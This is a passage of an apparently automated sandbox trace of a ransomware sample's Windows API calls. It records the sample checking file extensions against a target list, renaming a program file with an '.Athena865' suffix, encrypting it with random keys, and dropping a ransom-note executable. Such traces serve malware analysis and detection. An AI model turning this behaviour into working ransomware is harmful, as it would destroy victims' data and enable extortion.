(lpString="vmdk") returned 4 [0116.302] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0116.302] lstrlenW (lpString="rar") returned 3 [0116.302] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0116.303] lstrlenW (lpString="zip") returned 3 [0116.303] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0116.303] lstrlenW (lpString="tgz") returned 3 [0116.303] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0116.303] lstrlenW (lpString="vbox") returned 4 [0116.303] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0116.303] lstrlenW (lpString="vdi") returned 3 [0116.303] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0116.303] lstrlenW (lpString="vhd") returned 3 [0116.303] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0116.303] lstrlenW (lpString="vhdx") returned 4 [0116.303] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0116.303] lstrlenW (lpString="avhd") returned 4 [0116.303] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0116.303] lstrlenW (lpString="db") returned 2 [0116.303] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0116.303] lstrlenW (lpString="db2") returned 3 [0116.303] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0116.303] lstrlenW (lpString="db3") returned 3 [0116.303] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0116.303] lstrlenW (lpString="dbf") returned 3 [0116.303] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0116.303] lstrlenW (lpString="mdf") returned 3 [0116.303] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0116.303] lstrlenW (lpString="mdb") returned 3 [0116.303] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0116.303] lstrlenW (lpString="sql") returned 3 [0116.303] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0116.303] lstrlenW (lpString="sqlite") returned 6 [0116.303] lstrcmpiW (lpString1="ll.exe", lpString2="sqlite") returned -1 [0116.303] lstrlenW (lpString="sqlite3") returned 7 [0116.304] lstrcmpiW (lpString1="all.exe", lpString2="sqlite3") returned -1 [0116.304] lstrlenW (lpString="sqlitedb") returned 8 [0116.304] lstrcmpiW (lpString1="tall.exe", lpString2="sqlitedb") returned 1 [0116.304] lstrlenW (lpString="xml") returned 3 [0116.304] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0116.304] lstrlenW (lpString="$er") returned 3 [0116.304] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0116.304] lstrlenW (lpString="4dd") returned 3 [0116.304] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0116.304] lstrlenW (lpString="4dl") returned 3 [0116.304] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0116.304] lstrlenW (lpString="^^^") returned 3 [0116.304] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0116.304] lstrlenW (lpString="abs") returned 3 [0116.304] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0116.304] lstrlenW (lpString="abx") returned 3 [0116.304] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0116.304] lstrlenW (lpString="accdb") returned 5 [0116.304] lstrcmpiW (lpString1="l.exe", lpString2="accdb") returned 1 [0116.304] lstrlenW (lpString="accdc") returned 5 [0116.304] lstrcmpiW (lpString1="l.exe", lpString2="accdc") returned 1 [0116.304] lstrlenW (lpString="accde") returned 5 [0116.304] lstrcmpiW (lpString1="l.exe", lpString2="accde") returned 1 [0116.304] lstrlenW (lpString="accdr") returned 5 [0116.304] lstrcmpiW (lpString1="l.exe", lpString2="accdr") returned 1 [0116.304] lstrlenW (lpString="accdt") returned 5 [0116.304] lstrcmpiW (lpString1="l.exe", lpString2="accdt") returned 1 [0116.304] lstrlenW (lpString="accdw") returned 5 [0116.304] lstrcmpiW (lpString1="l.exe", lpString2="accdw") returned 1 [0116.304] lstrlenW (lpString="accft") returned 5 [0116.305] lstrcmpiW (lpString1="l.exe", lpString2="accft") returned 1 [0116.305] lstrlenW (lpString="adb") returned 3 [0116.305] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0116.305] lstrlenW (lpString="adb") returned 3 [0116.305] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0116.305] lstrlenW (lpString="ade") returned 3 [0116.305] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0116.305] lstrlenW (lpString="adf") returned 3 [0116.305] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0116.305] lstrlenW (lpString="adn") returned 3 [0116.305] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0116.305] lstrlenW (lpString="adp") returned 3 [0116.305] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0116.305] lstrlenW (lpString="alf") returned 3 [0116.305] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0116.305] lstrlenW (lpString="ask") returned 3 [0116.305] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0116.305] lstrlenW (lpString="btr") returned 3 [0116.305] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0116.305] lstrlenW (lpString="cat") returned 3 [0116.305] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0116.305] lstrlenW (lpString="cdb") returned 3 [0116.305] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0116.305] lstrlenW (lpString="ckp") returned 3 [0116.305] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0116.305] lstrlenW (lpString="cma") returned 3 [0116.305] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0116.305] lstrlenW (lpString="cpd") returned 3 [0116.305] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0116.305] lstrlenW (lpString="dacpac") returned 6 [0116.305] lstrcmpiW (lpString1="ll.exe", lpString2="dacpac") returned 1 [0116.306] lstrlenW (lpString="dad") returned 3 [0116.306] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0116.306] lstrlenW (lpString="dadiagrams") returned 10 [0116.306] lstrcmpiW (lpString1="nstall.exe", lpString2="dadiagrams") returned 1 [0116.306] lstrlenW (lpString="daschema") returned 8 [0116.306] lstrcmpiW (lpString1="tall.exe", lpString2="daschema") returned 1 [0116.306] lstrlenW (lpString="db-journal") returned 10 [0116.306] lstrcmpiW (lpString1="nstall.exe", lpString2="db-journal") returned 1 [0116.306] lstrlenW (lpString="db-shm") returned 6 [0116.306] lstrcmpiW (lpString1="ll.exe", lpString2="db-shm") returned 1 [0116.306] lstrlenW (lpString="db-wal") returned 6 [0116.306] lstrcmpiW (lpString1="ll.exe", lpString2="db-wal") returned 1 [0116.306] lstrlenW (lpString="dbc") returned 3 [0116.306] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0116.306] lstrlenW (lpString="dbs") returned 3 [0116.306] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0116.306] lstrlenW (lpString="dbt") returned 3 [0116.306] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0116.306] lstrlenW (lpString="dbv") returned 3 [0116.306] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0116.306] lstrlenW (lpString="dbx") returned 3 [0116.306] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0116.306] lstrlenW (lpString="dcb") returned 3 [0116.306] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0116.307] lstrlenW (lpString="dct") returned 3 [0116.307] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0116.307] lstrlenW (lpString="dcx") returned 3 [0116.307] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0116.307] lstrlenW (lpString="ddl") returned 3 [0116.307] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0116.307] lstrlenW (lpString="dlis") returned 4 [0116.307] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0116.307] lstrlenW (lpString="dp1") returned 3 [0116.307] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0116.307] lstrlenW (lpString="dqy") returned 3 [0116.307] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0116.307] lstrlenW (lpString="dsk") returned 3 [0116.307] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0116.307] lstrlenW (lpString="dsn") returned 3 [0116.307] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0116.307] lstrlenW (lpString="dtsx") returned 4 [0116.307] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0116.307] lstrlenW (lpString="dxl") returned 3 [0116.307] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0116.307] lstrlenW (lpString="eco") returned 3 [0116.307] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0116.307] lstrlenW (lpString="ecx") returned 3 [0116.307] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0116.307] lstrlenW (lpString="edb") returned 3 [0116.307] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0116.307] lstrlenW (lpString="epim") returned 4 [0116.308] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0116.308] lstrlenW (lpString="fcd") returned 3 [0116.308] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0116.308] lstrlenW (lpString="fdb") returned 3 [0116.308] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0116.308] lstrlenW (lpString="fic") returned 3 [0116.308] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0116.308] lstrlenW (lpString="flexolibrary") returned 12 [0116.308] lstrcmpiW (lpString1="gInstall.exe", lpString2="flexolibrary") returned 1 [0116.308] lstrlenW (lpString="fm5") returned 3 [0116.308] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0116.308] lstrlenW (lpString="fmp") returned 3 [0116.308] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0116.308] lstrlenW (lpString="fmp12") returned 5 [0116.308] lstrcmpiW (lpString1="l.exe", lpString2="fmp12") returned 1 [0116.308] lstrlenW (lpString="fmpsl") returned 5 [0116.308] lstrcmpiW (lpString1="l.exe", lpString2="fmpsl") returned 1 [0116.308] lstrlenW (lpString="fol") returned 3 [0116.308] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0116.308] lstrlenW (lpString="fp3") returned 3 [0116.308] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0116.308] lstrlenW (lpString="fp4") returned 3 [0116.308] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0116.308] lstrlenW (lpString="fp5") returned 3 [0116.308] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0116.308] lstrlenW (lpString="fp7") returned 3 [0116.309] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0116.309] lstrlenW (lpString="fpt") returned 3 [0116.309] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0116.309] lstrlenW (lpString="frm") returned 3 [0116.309] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0116.309] lstrlenW (lpString="gdb") returned 3 [0116.309] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0116.309] lstrlenW (lpString="gdb") returned 3 [0116.309] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0116.309] lstrlenW (lpString="grdb") returned 4 [0116.309] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0116.309] lstrlenW (lpString="gwi") returned 3 [0116.309] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0116.309] lstrlenW (lpString="hdb") returned 3 [0116.309] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0116.309] lstrlenW (lpString="his") returned 3 [0116.309] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0116.309] lstrlenW (lpString="ib") returned 2 [0116.309] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0116.309] lstrlenW (lpString="idb") returned 3 [0116.309] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0116.309] lstrlenW (lpString="ihx") returned 3 [0116.309] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0116.309] lstrlenW (lpString="itdb") returned 4 [0116.309] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0116.309] lstrlenW (lpString="itw") returned 3 [0116.309] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0116.310] lstrlenW (lpString="jet") returned 3 [0116.310] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0116.310] lstrlenW (lpString="jtx") returned 3 [0116.310] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0116.310] lstrlenW (lpString="kdb") returned 3 [0116.310] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0116.310] lstrlenW (lpString="kexi") returned 4 [0116.310] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0116.310] lstrlenW (lpString="kexic") returned 5 [0116.310] lstrcmpiW (lpString1="l.exe", lpString2="kexic") returned 1 [0116.310] lstrlenW (lpString="kexis") returned 5 [0116.310] lstrcmpiW (lpString1="l.exe", lpString2="kexis") returned 1 [0116.310] lstrlenW (lpString="lgc") returned 3 [0116.310] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0116.310] lstrlenW (lpString="lwx") returned 3 [0116.310] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0116.310] lstrlenW (lpString="maf") returned 3 [0116.310] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0116.310] lstrlenW (lpString="maq") returned 3 [0116.310] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0116.310] lstrlenW (lpString="mar") returned 3 [0116.310] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0116.310] lstrlenW (lpString="marshal") returned 7 [0116.310] lstrcmpiW (lpString1="all.exe", lpString2="marshal") returned -1 [0116.310] lstrlenW (lpString="mas") returned 3 [0116.310] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0116.310] lstrlenW (lpString="mav") returned 3 [0116.311] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0116.311] lstrlenW (lpString="maw") returned 3 [0116.311] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0116.311] lstrlenW (lpString="mdbhtml") returned 7 [0116.311] lstrcmpiW (lpString1="all.exe", lpString2="mdbhtml") returned -1 [0116.311] lstrlenW (lpString="mdn") returned 3 [0116.311] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0116.311] lstrlenW (lpString="mdt") returned 3 [0116.311] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0116.311] lstrlenW (lpString="mfd") returned 3 [0116.311] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0116.311] lstrlenW (lpString="mpd") returned 3 [0116.311] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0116.311] lstrlenW (lpString="mrg") returned 3 [0116.311] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0116.311] lstrlenW (lpString="mud") returned 3 [0116.311] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0116.311] lstrlenW (lpString="mwb") returned 3 [0116.311] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0116.311] lstrlenW (lpString="myd") returned 3 [0116.311] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0116.311] lstrlenW (lpString="ndf") returned 3 [0116.311] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0116.311] lstrlenW (lpString="nnt") returned 3 [0116.311] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0116.311] lstrlenW (lpString="nrmlib") returned 6 [0116.311] lstrcmpiW (lpString1="ll.exe", lpString2="nrmlib") returned -1 [0116.311] lstrlenW (lpString="ns2") returned 3 [0116.311] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0116.311] lstrlenW (lpString="ns3") returned 3 [0116.311] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0116.312] lstrlenW (lpString="ns4") returned 3 [0116.312] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0116.312] lstrlenW (lpString="nsf") returned 3 [0116.312] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0116.312] lstrlenW (lpString="nv") returned 2 [0116.312] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0116.312] lstrlenW (lpString="nv2") returned 3 [0116.312] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0116.312] lstrlenW (lpString="nwdb") returned 4 [0116.312] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0116.312] lstrlenW (lpString="nyf") returned 3 [0116.312] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0116.312] lstrlenW (lpString="odb") returned 3 [0116.312] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0116.312] lstrlenW (lpString="odb") returned 3 [0116.312] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0116.312] lstrlenW (lpString="oqy") returned 3 [0116.312] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0116.312] lstrlenW (lpString="ora") returned 3 [0116.312] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0116.312] lstrlenW (lpString="orx") returned 3 [0116.312] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0116.312] lstrlenW (lpString="owc") returned 3 [0116.312] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0116.312] lstrlenW (lpString="p96") returned 3 [0116.312] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0116.312] lstrlenW (lpString="p97") returned 3 [0116.312] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0116.312] lstrlenW (lpString="pan") returned 3 [0116.312] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0116.312] lstrlenW (lpString="pdb") returned 3 [0116.313] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0116.313] lstrlenW (lpString="pdm") returned 3 [0116.313] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0116.313] lstrlenW (lpString="pnz") returned 3 [0116.313] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0116.313] lstrlenW (lpString="qry") returned 3 [0116.313] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0116.313] lstrlenW (lpString="qvd") returned 3 [0116.313] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0116.313] lstrlenW (lpString="rbf") returned 3 [0116.313] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0116.313] lstrlenW (lpString="rctd") returned 4 [0116.313] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0116.313] lstrlenW (lpString="rod") returned 3 [0116.313] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0116.313] lstrlenW (lpString="rodx") returned 4 [0116.313] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0116.313] lstrlenW (lpString="rpd") returned 3 [0116.313] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0116.313] lstrlenW (lpString="rsd") returned 3 [0116.313] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0116.313] lstrlenW (lpString="sas7bdat") returned 8 [0116.313] lstrcmpiW (lpString1="tall.exe", lpString2="sas7bdat") returned 1 [0116.313] lstrlenW (lpString="sbf") returned 3 [0116.313] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0116.313] lstrlenW (lpString="scx") returned 3 [0116.313] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0116.313] lstrlenW (lpString="sdb") returned 3 [0116.313] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0116.313] lstrlenW (lpString="sdc") returned 3 [0116.313] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0116.314] lstrlenW (lpString="sdf") returned 3 [0116.314] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0116.314] lstrlenW (lpString="sis") returned 3 [0116.314] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0116.314] lstrlenW (lpString="spq") returned 3 [0116.314] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0116.314] lstrlenW (lpString="te") returned 2 [0116.314] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0116.314] lstrlenW (lpString="teacher") returned 7 [0116.314] lstrcmpiW (lpString1="all.exe", lpString2="teacher") returned -1 [0116.314] lstrlenW (lpString="tmd") returned 3 [0116.314] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0116.314] lstrlenW (lpString="tps") returned 3 [0116.314] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0116.314] lstrlenW (lpString="trc") returned 3 [0116.314] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0116.314] lstrlenW (lpString="trc") returned 3 [0116.314] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0116.314] lstrlenW (lpString="trm") returned 3 [0116.314] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0116.314] lstrlenW (lpString="udb") returned 3 [0116.314] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0116.314] lstrlenW (lpString="udl") returned 3 [0116.314] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0116.314] lstrlenW (lpString="usr") returned 3 [0116.314] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0116.314] lstrlenW (lpString="v12") returned 3 [0116.314] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0116.314] lstrlenW (lpString="vis") returned 3 [0116.315] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0116.315] lstrlenW (lpString="vpd") returned 3 [0116.315] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0116.315] lstrlenW (lpString="vvv") returned 3 [0116.315] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0116.315] lstrlenW (lpString="wdb") returned 3 [0116.315] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0116.315] lstrlenW (lpString="wmdb") returned 4 [0116.315] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0116.315] lstrlenW (lpString="wrk") returned 3 [0116.315] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0116.315] lstrlenW (lpString="xdb") returned 3 [0116.315] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0116.315] lstrlenW (lpString="xld") returned 3 [0116.315] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0116.315] lstrlenW (lpString="xmlff") returned 5 [0116.315] lstrcmpiW (lpString1="l.exe", lpString2="xmlff") returned -1 [0116.315] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe.Athena865") returned 86 [0116.315] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\smarttaginstall.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\smarttaginstall.exe.athena865"), dwFlags=0x1) returned 1 [0116.316] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\smarttaginstall.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.316] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15744) returned 1 [0116.316] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.317] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.317] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519bb8 [0116.317] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519b30) returned 1 [0116.317] CryptGenRandom (in: hProv=0x519b30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.317] CryptReleaseContext (hProv=0x519b30, dwFlags=0x0) returned 1 [0116.318] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4080, lpName=0x0) returned 0x154 [0116.319] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4080) returned 0x100000 [0116.320] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519b30) returned 1 [0116.321] CryptGenRandom (in: hProv=0x519b30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.321] CryptReleaseContext (hProv=0x519b30, dwFlags=0x0) returned 1 [0116.321] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.321] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0116.321] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0116.321] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0116.321] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.321] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0116.321] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0116.322] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0116.322] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.322] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0116.322] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0116.322] CloseHandle (hObject=0x154) returned 1 [0116.322] CloseHandle (hObject=0x17c) returned 1 [0116.322] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0116.322] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519bb8 | out: hHeap=0x4f0000) returned 1 [0116.322] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0116.322] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SmartTagInstall.exe", cAlternateFileName="SMARTT~1.EXE")) returned 0 [0116.322] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0116.322] ReleaseMutex (hMutex=0xec) returned 1 [0116.322] CloseHandle (hObject=0xec) returned 1 [0116.323] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine" [0116.323] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519118 | out: hHeap=0x4f0000) returned 1 [0116.323] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ae28 | out: hHeap=0x4f0000) returned 1 [0116.323] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine") returned 60 [0116.323] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\84691630512500364943C2A8238DEA7E") returned 0xec [0116.323] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0116.323] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine" [0116.323] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0116.323] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: 